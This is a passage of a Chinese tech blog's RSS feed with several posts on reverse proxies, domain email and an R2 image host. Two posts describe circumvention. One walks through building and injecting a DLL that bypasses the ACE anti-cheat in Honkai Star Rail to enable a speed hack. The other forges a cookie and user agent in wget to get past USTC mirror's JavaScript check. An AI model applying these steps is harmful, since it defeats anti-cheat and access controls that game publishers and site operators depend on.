};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假如你的域名为 &lt;code&gt;abc.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;你需要将&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gh.abc.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;avatars-githubusercontent-com.abc.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;绑定到你的Worker随后访问 &lt;code&gt;gh.abc.com&lt;/code&gt; 就能访问你自己的Github反代了&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;完整代码&lt;/h1&gt;
&lt;p&gt;参见Github仓库 https://github.com/afoim/GithubSiteProxyForCloudflareWorker&lt;/p&gt;
&lt;h1&gt;适用于高级玩家:&lt;/h1&gt;
&lt;p&gt;如果你想修改三级域名,比如将 &lt;code&gt;gh.abc.com&lt;/code&gt; 改为 &lt;code&gt;github.abc.com&lt;/code&gt; 等,直接更改域名映射配置对应键的值&lt;/p&gt;
&lt;p&gt;可以添加和删除要重定向的路径,默认重定向到一个神秘的网站,都有注释,你可以自行更改&lt;/p&gt;
&lt;p&gt;本项目也是一个任意全站反代模板,可以反代其他网站(注意需要大改代码)&lt;/p&gt;
</content:encoded></item><item><title>崩坏星穹铁道全局加速</title><link>https://blog.acofork.com/posts/starrail-fast/</link><guid isPermaLink="true">https://blog.acofork.com/posts/starrail-fast/</guid><description>因为本文涉猎敏感地带,所以仅供专业人士技术讨论,我也不会发布什么一键包,请按照教程自己动手</description><pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理剖析&lt;/h1&gt;
&lt;p&gt;注入一个DLL实现绕过ACE反作弊然后用CE的变速精灵&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;确保你安装了Virtual Studio 2022 中的工作负载使用C++的桌面开发&lt;/p&gt;
&lt;p&gt;克隆DLL源码仓库&lt;a href=&quot;https://github.com/gmh5225/Honkai-StarRail-ACE-B&quot;&gt;GitHub - gmh5225/Honkai-StarRail-ACE-B: This repository provides code and instructions for bypassing the anti-cheat system in Honkai Star Rail game, allowing players to access previously restricted features and improve their gameplay experience. For informational purposes only. Use at your own risk.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/TsudaKageyu/minhook/releases&quot;&gt;Releases · TsudaKageyu/minhook&lt;/a&gt; 分别下载 &lt;code&gt;bin&lt;/code&gt;&lt;code&gt;lib&lt;/code&gt; ,将其解压后寻找文件 &lt;code&gt;libMinHook.x64.lib&lt;/code&gt;&lt;code&gt;MinHook.h&lt;/code&gt; 将其放到DLL源码仓库根目录&lt;/p&gt;
&lt;p&gt;代码需要小改,这里省略&lt;/p&gt;
&lt;p&gt;编译:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MSBuild star_rail.sln /p:Configuration=Release /p:Platform=x64 /property:GenerateFullPaths=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;产物在:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\x64\Release\star_rail.dll&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/master131/ExtremeInjector/releases&quot;&gt;Releases · master131/ExtremeInjector&lt;/a&gt; 下载并解压,得到 &lt;code&gt;Extreme Injector v3.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;正常打开游戏,运行 &lt;code&gt;Extreme Injector v3.exe&lt;/code&gt; 选择游戏进程注入刚刚编译出来的DLL&lt;/p&gt;
&lt;p&gt;前往 https://www.cheatengine.org/ 下载CE打开CE如果游戏没有闪退或者弹出反作弊窗口则证明注入成功。接下来选择游戏进程开启变速精灵2-5倍速即可。Enjoy it&lt;/p&gt;
</content:encoded></item><item><title>绕过USTC的浏览器JS验证</title><link>https://blog.acofork.com/posts/bypass-ustc-verifying/</link><guid isPermaLink="true">https://blog.acofork.com/posts/bypass-ustc-verifying/</guid><description>USTC在下载一些资源的时候会使用JS验证有没有不用无头浏览器绕过的方法呢...</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;当我们去下载类似于 https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso 这样的大文件时USTC大概率会给你一个这样的正在验证你的浏览器 的页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/58e8e41a-0755-4e6a-ab1e-a9dbaa1042d5.BjTYxhah.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你正在使用一个浏览器比如Chrome、FireFox等那过几秒你就能看到文件被成功开始下载&lt;/p&gt;
&lt;p&gt;但是如果你正在使用wget等无JS特性的工具下载这类文件你将会被网站服务器拒绝 &lt;strong&gt;ERROR 403: Forbidden.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:44:13-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:44:14 ERROR 403: Forbidden.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在之前,如果我想要下载这类文件我都会使用浏览器去下载,但是今天我在向我的朋友对这件事发牢骚的时候他跟我说他绕过了&lt;/p&gt;
&lt;p&gt;于是我便想深挖一下然后发现其实根本不是什么JS验证&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;让我们首先打开这类链接,然后查询网页源代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; &amp;lt;h1&amp;gt;Verifying your browser&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;Additional verification is required for this file you requested.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;This page requires JavaScript. Please wait for a few seconds.&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;footer&quot;&amp;gt;
&amp;lt;p&amp;gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
document.cookie = &quot;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa; max-age=300&quot;;
setTimeout(function () {
location.reload();
}, 2000);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你会发现代码其实非常简洁干练如果你的浏览器支持JavaScript浏览器则会将 &lt;code&gt;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;/code&gt;这一串内容写入你的Cookie之后等待两秒重载页面然后网站发现你携带了这个Cookie就会让你成功下载了。反之如果你的浏览器不支持JavaScript就会触发403导致无法下载&lt;/p&gt;
&lt;p&gt;那么这个&lt;code&gt;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;/code&gt;到底是什么呢?&lt;/p&gt;
&lt;p&gt;我们注意到在网页上还显示了一句:&lt;code&gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;/code&gt;那么显然网站正是通过你能不能通过JS把你的IP写入你的Cookie来验证你的浏览器的&lt;/p&gt;
&lt;p&gt;那么换一个思路去想我是不是只要携带了这个Cookie就能绕过JS验证呢&lt;/p&gt;
&lt;p&gt;让我们来试一试&lt;/p&gt;
&lt;h1&gt;实战&lt;/h1&gt;
&lt;p&gt;首先我们使用默认的wget。403&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:55:00-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:55:00 ERROR 403: Forbidden.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后让我们携带上Cookie但是首先我们要获得网站获取到的我们的访问IP。&lt;/p&gt;
&lt;p&gt;这很简单我们先用curl得到网页源码。可以看到网页得到的我们的访问IP为&lt;code&gt;2409:8a30:320:6480::458&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# curl https://mirrors.ustc.edu.cn/dbian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
&amp;lt;title&amp;gt;403 Forbidden&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
这里是无关紧要的CSS省略
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;403 Forbidden&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;USTC Mirrors has denied your access due to one of the following reasons:&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;1. This directory is not intended for web browsing.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;2. Your computer or network has exhibited suspicious activity.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;If you have any question, email us at lug (AT) ustc.edu.cn with your IP address.&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;footer&quot;&amp;gt;
&amp;lt;p&amp;gt;Your IP address is 2409:8a30:320:6480::458&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来让我们携带Cookie&lt;code&gt;addr=2409:8a30:320:6480::458&lt;/code&gt;再次尝试wget。可惜仍然报错思考了一下我们可能需要伪造一下UA&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# wget --header=&quot;Cookie: addr=2409:8a30:320:6480::458&quot; \
https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:57:58-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:57:58 ERROR 403: Forbidden.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么接下来我们携带必要的Cookie再去伪造一个Chrome浏览器的UA。可见已经成功下载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# wget --header=&quot;Cookie: addr=2409:8a30:320:6480::458&quot; \
--user-agent=&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0&quot; \
&quot;https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso&quot;
--2025-04-04 14:59:24-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3994091520 (3.7G) [application/octet-stream]
Saving to: debian-12.10.0-amd64-DVD-1.iso.2
debian-12.10.0-amd64-DVD-1.iso.2- 5%[&amp;gt; ] 207.26M 72.9MB/s
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;/h1&gt;
</content:encoded></item><item><title>Netlify、Vercel反代网站</title><link>https://blog.acofork.com/posts/netlify-vercel-proxy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/netlify-vercel-proxy/</guid><description>会用Netlify家宽建站不是梦</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理思路&lt;/h1&gt;
&lt;p&gt;现阶段大部分家宽拿不到公网IPv4但是可以拿到公网IPv6借助Netlify做一个v6 -&amp;gt; v4的回源就可以让所有人都访问到你的站点了。同时这也是一个Netlify的通用反代教程。本文还教了Vercel的通用反代教程不过这玩意在2025年仍然不支持IPv6只能拿来反代小黄站了ToT&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h2&gt;Netlify篇&lt;/h2&gt;
&lt;p&gt;首先前往 https://app.netlify.com/ 注册账号。(注意!最好使用谷歌邮箱去注册,其他方式注册可能会出现什么你的账号需要验证/激活,然后巴拉巴拉很麻烦)
接下来去Github开一个新仓库根目录创建一个 &lt;code&gt;netlify.toml&lt;/code&gt;。在其中写入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[[redirects]]
from = &quot;/*&quot;
to = &quot;http://反代域名:反代端口/:splat&quot;
status = 200
force = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意,端口后面的斜杠一定不要丢!
家宽v6网站建议搭配DDNS食用
接下来回到 https://app.netlify.com/ 创建一个新项目导入你刚创建的Github项目部署即可
最后绑定一下你的域名,完成!&lt;/p&gt;
&lt;h2&gt;Vercel篇&lt;/h2&gt;
&lt;p&gt;首先前往 https://vercel.com/ 注册并登录你的账号
电脑安装Nodejs我们需要用到npm
安装Vercel CLI&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm i -g vercel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录Vercel CLI&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vercel login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找个地方(比如桌面)创建一个你随意命名的文件夹,然后在其中创建一个你随意命名的.json文件其中写入。&lt;strong&gt;注意目前Vercel不支持反代IPv6&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;version&quot;: 2,
&quot;routes&quot;: [
{&quot;src&quot;: &quot;/(.*)&quot;,&quot;dest&quot;: &quot;https://反代域名:端口&quot;}
]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后部署&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;verceL -A 你随意命名的.json --prod
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后绑定一下你的域名,完成!&lt;/p&gt;
</content:encoded></item><item><title>卧室布局整改记录</title><link>https://blog.acofork.com/posts/reset-bedroom/</link><guid isPermaLink="true">https://blog.acofork.com/posts/reset-bedroom/</guid><description>起因只是凌晨苏醒的灵机一动,然后...</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;我的卧室曾经是这样的,如你所见,非常杂乱且布线乱七八糟&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0c47e9a6-1544-4410-94d4-d319ea12ca70.Z2dhmEgz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;契机&lt;/h1&gt;
&lt;p&gt;今天早上起来我灵机一动,想着要不要整理一下,于是变成了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/a4db38f0-5a54-4e6c-8392-2375d775f7c6.DF2bM8v8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结束咯~&lt;/p&gt;
</content:encoded></item><item><title>自建邮局太麻烦?来用网易免费企业邮!绑定你的域名收发自如!</title><link>https://blog.acofork.com/posts/163-free-domain-email/</link><guid isPermaLink="true">https://blog.acofork.com/posts/163-free-domain-email/</guid><description>网易免费企业邮是一个免费的电子邮箱服务它最重要的特点就是可以绑定你的域名比如sudo@onani.cn并且完全免费且能收能发</description><pubDate>Wed, 12 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;最早我开始知道域名邮箱是因为偶然在一位我朋友的开发群内看到他的微软账户绑定的邮箱是admin@他网站的域名.com。&lt;/p&gt;
&lt;p&gt;我当时就很好奇,就去问他你这个邮箱是自建的吗?&lt;/p&gt;
&lt;p&gt;因为我当时也知道可以通过购买VPS然后配上一些开源邮局框架来自建邮箱但是这需要金钱和时间成本而且我认为不大稳定所以一直就没有试过而且我觉得我当时的acofork@foxmail.com这个邮箱虽然是托管在QQ的但是也够用了。&lt;/p&gt;
&lt;p&gt;然后他说他用的是Cloudflare的邮件转发服务我就心想这cf还能干这个一番操作以下发现还真能。&lt;/p&gt;
&lt;p&gt;在cf的域名配置中有一个电子邮件转发可以将发给你域名的邮件转发到你自己用的邮箱比如发给sikosiko@onani.cn的邮件会被cf转发给我的私用邮箱acofork@foxmail.com。&lt;/p&gt;
&lt;p&gt;但是因为是转发那么如果你想要以sikosiko@onani.cn这个身份发邮件就需要费一番周折了。我用的foxmail.com被腾讯收购了现在作为QQ邮箱的服务提供而QQ邮箱要绑定域名需要购买万恶的VIP于是就只能通过Outlook、Gmail等支持免费绑定域名作为别名的邮箱来发邮件&lt;/p&gt;
&lt;p&gt;但这也太割裂了吧我在QQ邮箱上收到然后还要去Outlook或者Gmail上面回复于是我后面也还是继续使用我的私用邮箱不去折腾什么域名邮箱了毕竟方便比什么都重要&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;但是话又说回来最近发现了这个网易免费企业邮可以免费绑定你的域名用作域名邮箱并且直接将MX解析解析到网易既能收也能发。而且这个项目也不是刚出的貌似在2015就已经有了所以也不用担心灵车至少比你自建的稳定😋&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h2&gt;创建账号并配置管理员&lt;/h2&gt;
&lt;p&gt;首先前往 &lt;a href=&quot;https://ym.163.com/&quot;&gt;网易免费企业邮箱&lt;/a&gt; 创建一个账号。直接用手机号注册&lt;/p&gt;
&lt;p&gt;注意,注册完毕后登录账户名和登录密码会通过&lt;strong&gt;短信&lt;/strong&gt;发给你,然后前往 https://mail.qiye.163.com/ 进行登录&lt;/p&gt;
&lt;p&gt;如果你不喜欢系统随机生成的密码,可以先点击忘记密码,然后填写账户名,验证绑定的手机号后即可重置密码&lt;/p&gt;
&lt;p&gt;登陆进去后大概是这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/65e5b400-96d7-44c6-b16e-a7a409104c3c.DIlVUdsv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你不喜欢你的账户名,比如我的就是 &lt;strong&gt;erchashush&lt;/strong&gt; @acofork.freeqiye.com这个erchashush其实是可以更改的&lt;/p&gt;
&lt;p&gt;在组织机构管理中点击账号管理,选择新建账号&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/a20e7931-c460-4134-b1b0-0fee82f8a7fc.HOtGv46q.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后写一个你想要的别名。绑定手机填你的,因为第一次登录需要验证码验证,如果填错了直接删除即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b9ac287d-ff90-4f8c-88ba-0d7bb1588f1c.CLCAm3VD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们需要给这个新账号提权如果你想用superadmin登录后台的话&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/6f21feca-984d-444e-b80f-bf1a28e4cf79.C3B43xx9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着右上角退出登录,然后使用新创建的管理员账户登录&lt;/p&gt;
&lt;h2&gt;绑定你的域名&lt;/h2&gt;
&lt;p&gt;前往组织机构管理 - 域名管理 - 添加域名
&lt;img src=&quot;https://blog.acofork.com/_astro/2fa04b72-f0e7-43c0-9c2a-1daab62e67cb.BLUNEm3u.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据提示在你的域名提供商比如Cloudflare配置TXT记录和MX记录即可&lt;/p&gt;
&lt;h2&gt;登录你的邮箱&lt;/h2&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://dashi.163.com/&quot;&gt;网易邮箱大师-高效强大的全平台邮箱客户端&lt;/a&gt; 下载对应的版本&lt;/p&gt;
&lt;p&gt;使用你的邮箱 + 密码进行登录即可。如果需要手机验证验证即可。最好下载一个手机端的网易邮箱大师,在手机端登录后任何其他平台登录都会需要手机端授权,更安全&lt;/p&gt;
&lt;h2&gt;效果展示&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/614794bd-d84d-4b66-b816-1d6d6ce73727.B-BKEgJg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;签名和发件人头像可以通过手机的网易邮箱大师设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/57f759bc-46fb-4f99-b6bb-751464661240.DRSHb9It.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Cloudflare R2+Workers马上搭建自己的云上图床</title><link>https://blog.acofork.com/posts/cf-randompic/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-randompic/</guid><description>使用R2存储图片通过Workers连接最后使用a标签或img标签在网页中嵌入展示全链路上云</description><pubDate>Wed, 05 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;&lt;strong&gt;结果图&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/408795f3ec1a5a9baf91b6cd7564d6f1d7dbc5bd.Bz5XOcg1.webp&quot; alt=&quot;QmVgqgoC7G8NLS21WvR8j9gf5amu33XvuV68ZrgM5B9iFf.webp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;原理&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;图源由 Cloudflare R2 托管,通过两个 Workers 连接 R2 以展示随机横屏/竖屏图片,静态页面引用 Workers 的 URL 以实现以上界面&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;创建 Cloudflare R2 存储桶&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;R2 实际上是一个对象存储。Cloudflare 提供 10G 的免费存储和每月 1000 万次的免费访问&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare 仪表盘&lt;/a&gt;,进入 R2 页面,如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0ffb86d36ab0f3fcc24ef7b3d64c4bc72b6b53e7.Cz6Y1j16.webp&quot; alt=&quot;QmU7u2JHUcevyHnwsCdAZfs7X7Fcdh3KJhn6eoy24Q5dGC.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择创建存储桶&lt;img src=&quot;https://blog.acofork.com/_astro/26d3b3e26b9e2f641a2eea98c2ddb8891a0b7f6a.BHVbXjfu.webp&quot; alt=&quot;QmX3eCaCVEgE8AN29D9t2VpQ5t5SrZGKb8EcZv9oKpCqf2.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为你的存储桶起一个名字,然后单击创建&lt;img src=&quot;https://blog.acofork.com/_astro/7fa96a023d7969ab168d467ab6d05646e5241884.DBy74n5T.webp&quot; alt=&quot;QmVad5eoJCLpSNZ4HCvTPJfD8rpg4aePMzZ7j2DZATn1XD.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入如下页面就已经创建完毕了&lt;img src=&quot;https://blog.acofork.com/_astro/719f2dfe59c73fa820ffc6cc2d9749ca14b9bece.mjAqUF84.webp&quot; alt=&quot;QmSdzwBJpw2L4a8LJ3eM3VMJs3d5oV5iFCxCMtv69VZmYH.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;返回 R2 首页。因为在下文我们需要使用 API 来进行文件传输,所以需要创建你的 R2 API 令牌,单击管理 R2 API 令牌&lt;img src=&quot;https://blog.acofork.com/_astro/9b1a338acae642ce7ce71dd41454903b1cfeafd0.CS4syupY.webp&quot; alt=&quot;QmbS8zjJTESwsmycKBSC9kmabAA9dtSCUX8nbUDWg4BWRX.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单击创建 API 令牌,如图&lt;img src=&quot;https://blog.acofork.com/_astro/9512f23e08a60948e721848118f5eb096449909b.CsSip-uO.webp&quot; alt=&quot;QmPzJEHVAm4z3S1SHY4k99TugrPyTB9DXpyRR8Loj22bz3.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;因为我们需要该 API 来管理单个 R2 存储桶,所以选择&lt;strong&gt;对象读和写&lt;/strong&gt;,详细配置如图&lt;img src=&quot;https://blog.acofork.com/_astro/0361e2b00351559eaebb18f3e6bb15a94b8578e9.BhPVrtJa.webp&quot; alt=&quot;QmNY9p8hksi18B9R8TVfdGgu336oQ3cPmghyfYXE9CDGD4.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建 API 令牌后,新页面会展示令牌的详细信息,&lt;strong&gt;仅会展示一次!!!&lt;/strong&gt; 保持这个页面,直到你将该页面的所有信息都已经妥善保存,不要关闭界面,否则,你需要轮转 API 令牌以禁用之前的旧密钥,如图&lt;img src=&quot;https://blog.acofork.com/_astro/f4214f6fdf67fa7bf694d0a1501ecc21aef45a90.CryqwAR5.webp&quot; alt=&quot;QmZTUwbycqbJhVP6PatD3psYy7ej9PDDoiXbmDWoakPhwx.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确保你已经妥善保存你的 R2 API 令牌,然后进行下一步&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;为你的存储桶添加文件&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;因为 Web 界面传输文件较慢且不支持传输大于 300MB 的文件。这里使用本地部署 AList 然后连接你的 R2 存储桶实现高速上传&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;笔者使用 Windows。前往&lt;a href=&quot;https://github.com/alist-org/alist/releases&quot;&gt;AList - Github Release&lt;/a&gt;下载适用于 Windows 的最新可执行文件,如图&lt;img src=&quot;https://blog.acofork.com/_astro/a2d1f289e464a9fb6367e2b7ff0b695916742698.DJjd6jCz.webp&quot; alt=&quot;QmPDRDJGeGStreyZMXVYofbE9FCs1T1MyDek3KUbB3Kk5b.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将下载的压缩包解压,并将其中的&lt;code&gt;alist.exe&lt;/code&gt;放入一个空文件夹&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单击搜索框,输入 cmd 并回车,如图&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3abdda195c58812866d49879c683a044e8acf7f8.CYdfwe7Y.webp&quot; alt=&quot;QmSt8aFtaeEprJHASEiNPB67UHcHoSxsbhhHUPxW6QkWSo.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f90fccfe1db62aff7a0a722cd3c5c319da563ae2.C94p2lzA.webp&quot; alt=&quot;QmNkMhDhpPLkYCpVhE1ov7Q6A34uWDvraCqNvuTqaCkujT.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 cmd 中输入&lt;code&gt;alist.exe server&lt;/code&gt;并且不要关闭窗口,运行成功后如图&lt;img src=&quot;https://blog.acofork.com/_astro/2c0ec8fb4de7f2a9a1b8107e3506cb5a8d7d7eff.BUd610xL.webp&quot; alt=&quot;QmdzyY8xbic8jdnZEXegefoZPeizqHa4ZkdMnRKoguBMkf.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开浏览器,输入&lt;code&gt;localhost:5244&lt;/code&gt;即可进入 AList 控制台,如图&lt;img src=&quot;https://blog.acofork.com/_astro/867fe02a124c886777d4ba64f6d1e4498c686709.DsXHFmKs.webp&quot; alt=&quot;QmUBFKu7mCiRneCrsTNPxTH6S4gxwtXf9cwLzf4dKW9LLR.webp&quot; /&gt;&lt;/p&gt;
